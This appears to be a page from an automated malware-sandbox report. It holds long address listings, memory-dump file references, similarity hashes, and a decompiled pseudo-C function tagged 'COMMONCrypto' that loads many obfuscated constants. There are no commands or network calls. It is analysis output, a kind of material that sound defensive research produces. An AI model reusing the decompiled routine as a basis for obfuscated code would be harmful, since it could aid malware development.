0x6f3e9487
0x6f3e948c
0x6f3e9497
0x6f3e94a1
0x6f3e94a7
0x6f3e94b9
0x6f3e94cf
0x6f3e94dd
0x6f3e94de
0x6f3e94df
0x6f3e94e0
0x6f3e94e1
0x6f3e94e8
0x6f3e94f2
0x6f3e94f8
0x6f3e950a
0x6f3e9520
0x6f3e952e
0x6f3e952f
0x6f3e9530
0x6f3e9531
0x6f3e9532
0x6f3e9539
0x6f3e9543
0x6f3e9549
0x6f3e955b
0x6f3e9571
0x6f3e957f
0x6f3e9580
0x6f3e9581
0x6f3e9582
0x6f3e9583
0x6f3e9586
0x6f3e9589
0x6f3e959f
0x6f3e95a4
0x6f3e95a8
0x6f3e95b3
0x6f3e95b8
0x6f3e95bd
0x6f3e95c9
0x6f3e95ce
0x6f3e95d3
0x6f3e95e7
0x6f3e95ef
0x6f3e95f6
0x6f3e9606
0x6f3e9614
0x6f3e9620
0x6f3e9622
0x6f3e9629
0x6f3e963c
0x6f3e9643
0x6f3e965c
0x6f3e966a
0x6f3e9681
0x6f3e968f
0x6f3e9694
0x6f3e96a0
0x6f3e96ad
0x6f3e96b4
0x6f3e96c9
0x6f3e96ce
0x6f3e96d5
0x6f3e96dc
0x6f3e96e3
0x6f3ea1d7
0x6f3ea1de
0x6f3ea1ea
0x6f3ea1f6
0x00000000
0x6f3ea1f6
0x6f3e96f0
0x6f3e96f7
0x00000000
0x00000000
0x6f3e970c
0x6f3e9711
0x6f3e9722
0x6f3e9727
0x6f3e9733
0x6f3e973a
0x6f3e9740
0x6f3e9745
0x6f3e9748
0x6f3e974e
0x6f3e975c
0x6f3e975d
0x6f3e9761
0x6f3e9765
0x6f3e9769
0x6f3e977e
0x6f3e9789
0x6f3e978a
0x6f3e978e
0x6f3e9792
0x6f3e9796
0x6f3e97a0
0x6f3e97b6
0x6f3e97b7
0x6f3e97bb
0x6f3e97bf
0x6f3e97c3
0x6f3e97df
0x6f3e97f5
0x6f3e97f5
0x6f3e97fb
0x6f3e97fd
0x6f3e9800
0x6f3e9805
0x6f3e980c
0x6f3e9810
0x6f3e9814
0x6f3e981a
0x6f3e9820
0x6f3e9832
0x6f3e9848
0x6f3e9856
0x6f3e9857
0x6f3e9858
0x6f3e9859
0x6f3e985a
0x6f3e9861
0x6f3e986b
0x6f3e9871
0x6f3e9883
0x6f3e9899
0x6f3e98a7
0x6f3e98a8
0x6f3e98a9
0x6f3e98aa
0x6f3e98ab
0x6f3e98b2
0x6f3e98bc
0x6f3e98c2
0x6f3e98d4
0x6f3e98ea
0x6f3e98f8
0x6f3e98f9
0x6f3e98fa
0x6f3e98fb
0x6f3e98fc
0x6f3e9903
0x6f3e990d
0x6f3e9913
0x6f3e9925
0x6f3e993b
0x6f3e9949
0x6f3e994a
0x6f3e994b
0x6f3e994c
0x6f3e994d
0x6f3e9950
0x6f3e9954
0x6f3e9958
0x6f3e995e
0x6f3e9964
0x6f3e9976
0x6f3e998c
0x6f3e999a
0x6f3e999b
0x6f3e999c
0x6f3e999d
0x6f3e999e
0x6f3e99a5
0x6f3e99af
0x6f3e99b5
0x6f3e99c7
0x6f3e99dd
0x6f3e99eb
0x6f3e99ec
0x6f3e99ed
0x6f3e99ee
0x6f3e99ef
0x6f3e99f6
0x6f3e9a00
0x6f3e9a06
0x6f3e9a18
0x6f3e9a2e
0x6f3e9a3c
0x6f3e9a3d
0x6f3e9a3e
0x6f3e9a3f
0x6f3e9a40
0x6f3e9a47
0x6f3e9a51
0x6f3e9a57
0x6f3e9a69
0x6f3e9a7f
0x6f3e9a8d
0x6f3e9a8e
0x6f3e9a8f
0x6f3e9a90
0x6f3e9a96
0x6f3e9a99
0x6f3e9a9b
0x6f3e9aa6
0x6f3e9aab
0x6f3e9ab0
0x6f3e9abf
0x6f3e9ac4
0x6f3e9ac9
0x6f3e9ad8
0x6f3e9add
0x6f3e9ae2
0x6f3e9af1
0x6f3e9af6
0x6f3e9afb
0x6f3e9b0a
0x6f3e9b0f
0x6f3e9b14
0x6f3e9b23
0x6f3e9b28
0x6f3e9b2d
0x6f3e9b3c
0x6f3e9b41
0x6f3e9b46
0x6f3e9b55
0x6f3e9b5a
0x6f3e9b63
0x6f3e9b6b
0x6f3e9b70
0x6f3e9b77
0x6f3e9b84
0x6f3e9b86
0x6f3ea1bf
0x6f3ea1c6
0x6f3ea1d2
0x00000000
0x6f3ea1d2
0x6f3e9b8c
0x6f3e9b95
0x6f3e9b98
0x6f3e9db0
0x6f3e9db0
0x6f3e9dbb
0x6f3e9ddf
0x6f3e9de1
0x00000000
0x00000000
0x6f3e9de7
0x6f3e9dec
0x6f3e9df3
0x6f3e9e00
0x6f3e9e02
0x00000000
0x00000000
0x6f3e9e08
0x6f3e9e11
0x6f3e9e12
0x6f3e9e14
0x6f3e9e17
0x00000000
0x00000000
0x00000000
0x6f3e9e19
0x6f3e9e1e
0x6f3e9e29
0x6f3e9e29
0x6f3e9e2e
0x6f3e9e35
0x6f3e9e3c
0x6f3e9e43
0x6f3e9e48
0x6f3e9e53
0x6f3e9e55
0x00000000
0x00000000
0x6f3e9e5b
0x6f3e9e60
0x6f3e9e67
0x6f3e9e74
0x6f3e9e76
0x00000000
0x00000000
0x6f3e9e7c
0x6f3e9e85
0x6f3e9e86
0x6f3e9e88
0x6f3e9e8b
0x00000000
0x00000000
0x00000000
0x6f3e9e8d
0x6f3e9e9b
0x6f3e9ea3
0x6f3e9eae
0x6f3e9eb5
0x6f3e9ebc
0x6f3e9ec0
0x6f3e9ec4
0x6f3e9eca
0x6f3e9ed5
0x6f3e9ee0
0x6f3e9ee5
0x6f3e9ee7
0x00000000
0x00000000
0x6f3e9eed
0x6f3e9ef8
0x6f3e9f0e
0x6f3e9f1e
0x6f3e9f20
0x00000000
0x00000000
0x6f3e9f26
0x6f3e9f2b
0x6f3e9f32
0x6f3e9f3f
0x6f3e9f41
0x00000000
0x00000000
0x6f3e9f47
0x6f3e9f50
0x6f3e9f51
0x6f3e9f53
0x6f3e9f56
0x00000000
0x00000000
0x00000000
0x6f3e9f58
0x6f3e9f5d
0x6f3e9f68
0x6f3e9f71
0x6f3e9f84
0x6f3e9f85
0x6f3e9f8c
0x6f3e9f93
0x6f3e9f9a
0x6f3e9f9b
0x6f3e9fa6
0x6f3e9fa8
0x00000000
0x00000000
0x6f3e9fae
0x6f3e9fb3
0x6f3e9fba
0x6f3e9fc7
0x6f3e9fc9
0x00000000
0x00000000
0x6f3e9fcf
0x6f3e9fd8
0x6f3e9fd9
0x6f3e9fdb
0x6f3e9fde
0x00000000
0x00000000
0x00000000
0x6f3e9fe0
0x6f3ea000
0x6f3ea005
0x6f3ea007
0x00000000
0x00000000
0x6f3ea016
0x6f3ea022
0x6f3ea02d
0x6f3ea039
0x6f3ea043
0x6f3ea043
0x6f3ea046
0x6f3ea04e
0x6f3ea05a
0x6f3ea069
0x6f3ea071
0x6f3ea074
0x6f3ea07d
0x6f3ea08d
0x6f3ea092
0x6f3ea09d
0x6f3ea0a6
0x6f3ea0b9
0x6f3ea0ba
0x6f3ea0c1
0x6f3ea0c8
0x6f3ea0cf
0x6f3ea0d0
0x6f3ea0db
0x6f3ea0dd
0x00000000
0x00000000
0x6f3ea0e3
0x6f3ea0e8
0x6f3ea0ef
0x6f3ea0fa
0x6f3ea0fc
0x6f3ea1b3
0x6f3ea1ba
0x00000000
0x6f3ea1ba
0x6f3ea102
0x6f3ea10b
0x6f3ea10c
0x6f3ea10e
0x6f3ea111
0x00000000
0x00000000
0x00000000
0x6f3ea113
0x6f3ea118
0x6f3ea123
0x6f3ea123
0x6f3ea126
0x6f3ea12a
0x6f3ea134
0x6f3ea138
0x6f3ea13f
0x6f3ea14a
0x6f3ea14e
0x6f3ea158
0x6f3ea162
0x6f3ea166
0x6f3ea16c
0x6f3ea177
0x6f3ea179
0x00000000
0x00000000
0x6f3ea183
0x6f3ea188
0x6f3ea18f
0x6f3ea19a
0x6f3ea19c
0x00000000
0x00000000
0x6f3ea19e
0x6f3ea1a7
0x6f3ea1a8
0x6f3ea1aa
0x6f3ea1ad
0x00000000
0x00000000
0x00000000
0x6f3ea1ad
0x6f3ea200
0x6f3ea202
0x6f3ea209
0x6f3ea20e
0x6f3ea211
0x6f3ea21f
0x6f3ea230
0x6f3ea23c
0x6f3ea248
0x6f3ea254
0x6f3ea260
0x6f3ea26c
0x6f3ea275
0x6f3ea27e
0x6f3ea287
0x6f3ea28e
0x00000000
0x6f3ea290
0x6f3e9b9e
0x6f3e9ba9
0x6f3e9bb2
0x6f3e9bb7
0x6f3e9bc3
0x6f3e9bc4
0x6f3e9bd4
0x6f3e9be2
0x6f3e9bf5
0x6f3e9c01
0x6f3e9c0d
0x6f3e9c19
0x6f3e9c20
0x6f3e9c23
0x6f3e9c2e
0x6f3e9c30
0x6f3e9cdb
0x6f3e9cdb
0x6f3e9cde
0x6f3e9ce7
0x6f3e9ceb
0x6f3e9cef
0x6f3e9cf5
0x6f3e9cf9
0x6f3e9d05
0x6f3e9d0f
0x6f3e9d13
0x6f3e9d19
0x6f3e9d1f
0x6f3e9d24
0x6f3e9d26
0x6f3e9d3e
0x6f3e9d4a
0x6f3e9d5e
0x6f3e9d63
0x6f3e9d6c
0x6f3e9d6f
0x00000000
0x00000000
0x6f3e9d75
0x6f3e9d7a
0x6f3e9d81
0x6f3e9d8e
0x6f3e9d90
0x00000000
0x00000000
0x00000000
0x6f3e9d90
0x6f3e9d28
0x6f3e9d2f
0x00000000
0x6f3e9d2f
0x6f3e9c36
0x6f3e9c41
0x6f3e9c4f
0x6f3e9c54
0x6f3e9c56
0x6f3e9c59
0x6f3e9c62
0x6f3e9c66
0x6f3e9c6e
0x6f3e9c74
0x6f3e9c78
0x6f3e9c7e
0x6f3e9c8b
0x6f3e9c8f
0x6f3e9c93
0x6f3e9c9b
0x6f3e9ca1
0x6f3e9ca6
0x6f3e9ca8
0x00000000
0x00000000
0x6f3e9cac
0x6f3e9cad
0x6f3e9cb2
0x6f3e9cbc
0x6f3e9cc3
0x6f3e9cce
0x6f3e9cd5
0x00000000
0x00000000
0x00000000
0x6f3e9cd5
0x00000000
0x6f3e9d96
0x6f3e9d96
0x6f3e9d9f
0x6f3e9da0
0x6f3e9da2
0x6f3e9da2
0x00000000
0x6f3e9dab
0x6f3e9449
0x6f3e944d
0x6f3e9456
0x6f3e945f
0x00000000

Strings

$EA, xrefs: 6F3E91E1

Memory Dump Source

Source File: 00000002.00000002.470542364.000000006F3E1000.00000020.00020000.sdmp, Offset: 6F3E0000, based on PE: true

Associated: 00000002.00000002.470524369.000000006F3E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470634843.000000006F3FA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470649269.000000006F3FD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470660135.000000006F3FF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: $EA
API String ID: 0-4251458306
Opcode ID: 9c8c6528a4420342858cfa104969b0b5d77a327ffcce85be69e79b73d8749a95
Instruction ID: 50fcc44694c31636bc5f33083ce50b54910fe83fdd20fcb0e6794bce6ec8011c
Opcode Fuzzy Hash: 9c8c6528a4420342858cfa104969b0b5d77a327ffcce85be69e79b73d8749a95
Instruction Fuzzy Hash: 2BA26E715083559BD721DF34C840BDEB7F4AFA6304F008A2EA4D99B1E1EF71AA49CB52

Uniqueness

Uniqueness Score: -1.00%

Function 6F3E1494, Relevance: 1.9, Strings: 1, Instructions: 613
COMMONCrypto

Download Yara Rule

C-Code - Quality: 31%

			E6F3E1494(intOrPtr __ecx, void* __edx, void* __eflags) {
				intOrPtr _v40;
				intOrPtr _v60;
				void* _v68;
				char _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				char _v92;
				char _v96;
				char _v100;
				char _v104;
				char _v108;
				char _v112;
				char _v116;
				char _v120;
				char _v124;
				char _v128;
				char _v132;
				char _v136;
				char _v140;
				char _v144;
				char _v148;
				char _v152;
				char _v156;
				char _v160;
				char _v164;
				char _v168;
				char _v172;
				char _v176;
				char _v180;
				char _v184;
				char _v188;
				char _v192;
				char _v196;
				char _v200;
				char _v204;
				char _v208;
				char _v212;
				char _v216;
				char _v220;
				char _v224;
				char _v228;
				char _v232;
				char _v236;
				char _v240;
				char _v244;
				char _v248;
				char _v252;
				char _v256;
				char _v260;
				char _v264;
				char _v268;
				char _v272;
				char _v276;
				void* _v288;
				intOrPtr _v292;
				char _v296;
				char _v300;
				char _v304;
				char _v308;
				char _v312;
				char _v316;
				char _v320;
				char _v324;
				char _v340;
				char _v344;
				char _v348;
				char _v352;
				char _v356;
				void* __ebp;
				void* _t282;
				intOrPtr* _t310;
				intOrPtr* _t318;
				intOrPtr* _t434;
				intOrPtr* _t480;
				void* _t481;

				_t481 = __eflags;
				_t480 =  &_v60;
				_v40 = __ecx;
				_v76 = 0;
				E6F3EF620( &_v72, 0);
				_v60 = 0x22dc1034;
				asm("pxor xmm0, xmm0");
				asm("movq [ecx+0x18], xmm0");
				E6F3EF8C4( &_v76, E6F3EF568( &_v76) + 0x10);
				E6F3EF558( &_v80, E6F3EF568( &_v80) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v88 = _v88 + 1;
				_t325 =  &_v84;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v84 + 0x10)) = 0x853cdd04;
				asm("movq [ecx+0x18], xmm0");
				E6F3EF8C4( &_v84, E6F3EF568(_t325) + 0x10);
				E6F3EF558( &_v88, E6F3EF568( &_v88) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v96 = _v96 + 1;
				_t329 =  &_v92;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v92 + 0x10)) = 0xb162dc4e;
				asm("movq [ecx+0x18], xmm0");
				E6F3EF8C4( &_v92, E6F3EF568(_t329) + 0x10);
				E6F3EF558( &_v96, E6F3EF568( &_v96) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v104 = _v104 + 1;
				_t333 =  &_v100;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v100 + 0x10)) = 0xc15ccc53;
				asm("movq [ecx+0x18], xmm0");
				E6F3EF8C4( &_v100, E6F3EF568(_t333) + 0x10);
				E6F3EF558( &_v104, E6F3EF568( &_v104) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v112 = _v112 + 1;
				_t337 =  &_v108;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v108 + 0x10)) = 0xc8fc2de6;
				asm("movq [ecx+0x18], xmm0");
				E6F3EF8C4( &_v108, E6F3EF568(_t337) + 0x10);
				E6F3EF558( &_v112, E6F3EF568( &_v112) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v120 = _v120 + 1;
				_t341 =  &_v116;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v116 + 0x10)) = 0x7d07f92f;
				asm("movq [ecx+0x18], xmm0");
				E6F3EF8C4( &_v116, E6F3EF568(_t341) + 0x10);
				E6F3EF558( &_v120, E6F3EF568( &_v120) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v128 = _v128 + 1;
				_t345 =  &_v124;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v124 + 0x10)) = 0xfc7fa539;
				asm("movq [ecx+0x18], xmm0");
				E6F3EF8C4( &_v124, E6F3EF568(_t345) + 0x10);
				E6F3EF558( &_v128, E6F3EF568( &_v128) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v136 = _v136 + 1;
				_t349 =  &_v132;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v132 + 0x10)) = 0x4145240a;
				asm("movq [ecx+0x18], xmm0");
				E6F3EF8C4( &_v132, E6F3EF568(_t349) + 0x10);
				E6F3EF558( &_v136, E6F3EF568( &_v136) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v144 = _v144 + 1;
				_t353 =  &_v140;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v140 + 0x10)) = 0x2c2324e8;
				asm("movq [ecx+0x18], xmm0");
				E6F3EF8C4( &_v140, E6F3EF568(_t353) + 0x10);
				E6F3EF558( &_v144, E6F3EF568( &_v144) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v152 = _v152 + 1;
				_t357 =  &_v148;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v148 + 0x10)) = 0xf06b4c6b;
				asm("movq [ecx+0x18], xmm0");
				E6F3EF8C4( &_v148, E6F3EF568(_t357) + 0x10);
				E6F3EF558( &_v152, E6F3EF568( &_v152) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v160 = _v160 + 1;
				_t361 =  &_v156;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v156 + 0x10)) = 0xa54975b2;
				asm("movq [ecx+0x18], xmm0");
				E6F3EF8C4( &_v156, E6F3EF568(_t361) + 0x10);
				E6F3EF558( &_v160, E6F3EF568( &_v160) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v168 = _v168 + 1;
				_t365 =  &_v164;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v164 + 0x10)) = 0x563e1998;
				asm("movq [ecx+0x18], xmm0");
				E6F3EF8C4( &_v164, E6F3EF568(_t365) + 0x10);
				E6F3EF558( &_v168, E6F3EF568( &_v168) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v176 = _v176 + 1;
				_t369 =  &_v172;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v172 + 0x10)) = 0xd926c223;
				asm("movq [ecx+0x18], xmm0");
				E6F3EF8C4( &_v172, E6F3EF568(_t369) + 0x10);
				E6F3EF558( &_v176, E6F3EF568( &_v176) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v184 = _v184 + 1;
				_t373 =  &_v180;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v180 + 0x10)) = 0x80febacc;
				asm("movq [ecx+0x18], xmm0");
				E6F3EF8C4( &_v180, E6F3EF568(_t373) + 0x10);
				E6F3EF558( &_v184, E6F3EF568( &_v184) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v192 = _v192 + 1;
				_t377 =  &_v188;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v188 + 0x10)) = 0x98595b64;
				asm("movq [ecx+0x18], xmm0");
				E6F3EF8C4( &_v188, E6F3EF568(_t377) + 0x10);
				E6F3EF558( &_v192, E6F3EF568( &_v192) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v200 = _v200 + 1;
				_t381 =  &_v196;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v196 + 0x10)) = 0x8e3b5f9c;
				asm("movq [ecx+0x18], xmm0");
				E6F3EF8C4( &_v196, E6F3EF568(_t381) + 0x10);
				E6F3EF558( &_v200, E6F3EF568( &_v200) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v208 = _v208 + 1;
				_t385 =  &_v204;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v204 + 0x10)) = 0x9b42cb07;
				asm("movq [ecx+0x18], xmm0");
				E6F3EF8C4( &_v204, E6F3EF568(_t385) + 0x10);
				E6F3EF558( &_v208, E6F3EF568( &_v208) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t434 = _t480;
				 *_t434 =  *_t434 + 1;
				E6F3F413C(0xa5eabdf8, _t434);
				E6F3EF558( &_v212, 0x10);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x450], xmm0");
				E6F3EF558( &_v216, 0x20);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x458], xmm0");
				E6F3EF558( &_v220, 0x30);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x460], xmm0");
				E6F3EF558( &_v224, 0x40);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x468], xmm0");
				E6F3EF558( &_v228, 0x50);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x470], xmm0");
				E6F3EF558( &_v232, 0x60);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x478], xmm0");
				E6F3EF558( &_v236, 0x70);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x480], xmm0");
				E6F3EF558( &_v240, 0x80);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x488], xmm0");
				E6F3EF558( &_v244, 0x90);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x490], xmm0");
				E6F3EF558( &_v248, 0xa0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x498], xmm0");
				E6F3EF558( &_v252, 0xb0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4a0], xmm0");
				E6F3EF558( &_v256, 0xc0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4a8], xmm0");
				E6F3EF558( &_v260, 0xd0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4b0], xmm0");
				E6F3EF558( &_v264, 0xe0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4b8], xmm0");
				E6F3EF558( &_v268, 0xf0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4c0], xmm0");
				E6F3EF558( &_v272, 0x100);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4c8], xmm0");
				_t282 = E6F3EF558( &_v276, 0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [esp], xmm0");
				_v252 = E6F3E1D2C(_v248, _t434, _t481, _t282, _t282);
				_t318 = _t434;
				E6F3EB338( &_v248, _v256, _t481, _v252, _t318);
				E6F3EF8DC( &_v296, _t481);
				_v300 = 0;
				_t410 =  &_v296;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v296 + 0x10)) = 0xfb42c037;
				asm("movq [ecx+0x18], xmm0");
				E6F3EF8C4( &_v296, E6F3EF568(_t410) + 0x10);
				E6F3EF558( &_v300, E6F3EF568( &_v300) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v308 = _v308 + 1;
				_t414 =  &_v304;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v304 + 0x10)) = 0x7082aaf3;
				asm("movq [ecx+0x18], xmm0");
				E6F3EF8C4( &_v304, E6F3EF568(_t414) + 0x10);
				E6F3EF558( &_v308, E6F3EF568( &_v308) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v316 = _v316 + 1;
				_t418 =  &_v312;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v312 + 0x10)) = 0x1eeb5e35;
				asm("movq [ecx+0x18], xmm0");
				E6F3EF8C4( &_v312, E6F3EF568(_t418) + 0x10);
				E6F3EF558( &_v316, E6F3EF568( &_v316) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v324 = _v324 + 1;
				_t422 =  &_v320;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v320 + 0x10)) = 0xe856fc47;
				asm("movq [ecx+0x18], xmm0");
				E6F3EF8C4( &_v320, E6F3EF568(_t422) + 0x10);
				E6F3EF558( &_v324, E6F3EF568( &_v324) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				 *_t480 =  *_t480 + 1;
				_t310 = _t480;
				_push(_t310);
				_push(_t318);
				_push(_v292);
				_t154 = _t310 + 0x2c; // 0x2c
				E6F3EBAB8(_t154,  *_t480);
				E6F3EF558( &_v340, 0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4d8], xmm0");
				E6F3EF558( &_v344, 0x10);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4e0], xmm0");
				E6F3EF558( &_v348, 0x20);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4d0], xmm0");
				E6F3EF558( &_v352, 0x30);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4e8], xmm0");
				E6F3EF6F0( &_v316);
				return E6F3EF6F0( &_v356);
			}

0x6f3e1494
0x6f3e1498
0x6f3e149d
0x6f3e14a3
0x6f3e14ab
0x6f3e14b0
0x6f3e14bc
0x6f3e14c0
0x6f3e14d2
0x6f3e14e8
0x6f3e14f3
0x6f3e14f4
0x6f3e14f5
0x6f3e14f6
0x6f3e14f7
0x6f3e14fa
0x6f3e14fe
0x6f3e1502
0x6f3e1509
0x6f3e151b
0x6f3e1531
0x6f3e153c
0x6f3e153d
0x6f3e153e
0x6f3e153f
0x6f3e1540
0x6f3e1543
0x6f3e1547
0x6f3e154b
0x6f3e1552
0x6f3e1564
0x6f3e157a
0x6f3e1585
0x6f3e1586
0x6f3e1587
0x6f3e1588
0x6f3e1589
0x6f3e158c
0x6f3e1590
0x6f3e1594
0x6f3e159b
0x6f3e15ad
0x6f3e15c3
0x6f3e15ce
0x6f3e15cf
0x6f3e15d0
0x6f3e15d1
0x6f3e15d2
0x6f3e15d5
0x6f3e15d9
0x6f3e15dd
0x6f3e15e4
0x6f3e15f6
0x6f3e160c
0x6f3e1617
0x6f3e1618
0x6f3e1619
0x6f3e161a
0x6f3e161b
0x6f3e161e
0x6f3e1622
0x6f3e1626
0x6f3e162d
0x6f3e163f
0x6f3e1655
0x6f3e1660
0x6f3e1661
0x6f3e1662
0x6f3e1663
0x6f3e1664
0x6f3e1667
0x6f3e166b
0x6f3e166f
0x6f3e1676
0x6f3e1688
0x6f3e169e
0x6f3e16a9
0x6f3e16aa
0x6f3e16ab
0x6f3e16ac
0x6f3e16ad
0x6f3e16b0
0x6f3e16b4
0x6f3e16b8
0x6f3e16bf
0x6f3e16d1
0x6f3e16e7
0x6f3e16f2
0x6f3e16f3
0x6f3e16f4
0x6f3e16f5
0x6f3e16f6
0x6f3e16f9
0x6f3e16fd
0x6f3e1701
0x6f3e1708
0x6f3e171a
0x6f3e1730
0x6f3e173b
0x6f3e173c
0x6f3e173d
0x6f3e173e
0x6f3e173f
0x6f3e1742
0x6f3e1746
0x6f3e174a
0x6f3e1751
0x6f3e1763
0x6f3e1779
0x6f3e1784
0x6f3e1785
0x6f3e1786
0x6f3e1787
0x6f3e1788
0x6f3e178b
0x6f3e178f
0x6f3e1793
0x6f3e179a
0x6f3e17ac
0x6f3e17c2
0x6f3e17cd
0x6f3e17ce
0x6f3e17cf
0x6f3e17d0
0x6f3e17d1
0x6f3e17d4
0x6f3e17d8
0x6f3e17dc
0x6f3e17e3
0x6f3e17f5
0x6f3e180b
0x6f3e1816
0x6f3e1817
0x6f3e1818
0x6f3e1819
0x6f3e181a
0x6f3e181d
0x6f3e1821
0x6f3e1825
0x6f3e182c
0x6f3e183e
0x6f3e1854
0x6f3e185f
0x6f3e1860
0x6f3e1861
0x6f3e1862
0x6f3e1863
0x6f3e1866
0x6f3e186a
0x6f3e186e
0x6f3e1875
0x6f3e1887
0x6f3e189d
0x6f3e18a8
0x6f3e18a9
0x6f3e18aa
0x6f3e18ab
0x6f3e18ac
0x6f3e18af
0x6f3e18b3
0x6f3e18b7
0x6f3e18be
0x6f3e18d0
0x6f3e18e6
0x6f3e18f1
0x6f3e18f2
0x6f3e18f3
0x6f3e18f4
0x6f3e18f5
0x6f3e18f8
0x6f3e18fc
0x6f3e1900
0x6f3e1907
0x6f3e1919
0x6f3e192f
0x6f3e193a
0x6f3e193b
0x6f3e193c
0x6f3e193d
0x6f3e193e
0x6f3e1941
0x6f3e1945
0x6f3e1949
0x6f3e1950
0x6f3e1962
0x6f3e1978
0x6f3e1983
0x6f3e1984
0x6f3e1985
0x6f3e1986
0x6f3e198c
0x6f3e198f
0x6f3e1991
0x6f3e199c
0x6f3e19a3
0x6f3e19ac
0x6f3e19b4
0x6f3e19bb
0x6f3e19c4
0x6f3e19cc
0x6f3e19d3
0x6f3e19dc
0x6f3e19e4
0x6f3e19eb
0x6f3e19f4
0x6f3e19fc
0x6f3e1a03
0x6f3e1a0c
0x6f3e1a14
0x6f3e1a1b
0x6f3e1a24
0x6f3e1a2c
0x6f3e1a36
0x6f3e1a3f
0x6f3e1a47
0x6f3e1a51
0x6f3e1a5a
0x6f3e1a62
0x6f3e1a6c
0x6f3e1a75
0x6f3e1a7d
0x6f3e1a87
0x6f3e1a90
0x6f3e1a98
0x6f3e1aa2
0x6f3e1aab
0x6f3e1ab3
0x6f3e1abd
0x6f3e1ac6
0x6f3e1ace
0x6f3e1ad8
0x6f3e1ae1
0x6f3e1ae9
0x6f3e1af3
0x6f3e1afc
0x6f3e1b04
0x6f3e1b0e
0x6f3e1b17
0x6f3e1b1f
0x6f3e1b26
0x6f3e1b2f
0x6f3e1b37
0x6f3e1b3e
0x6f3e1b43
0x6f3e1b51
0x6f3e1b55
0x6f3e1b64
0x6f3e1b6d
0x6f3e1b72
0x6f3e1b79
0x6f3e1b7d
0x6f3e1b81
0x6f3e1b88
0x6f3e1b9a
0x6f3e1bb0
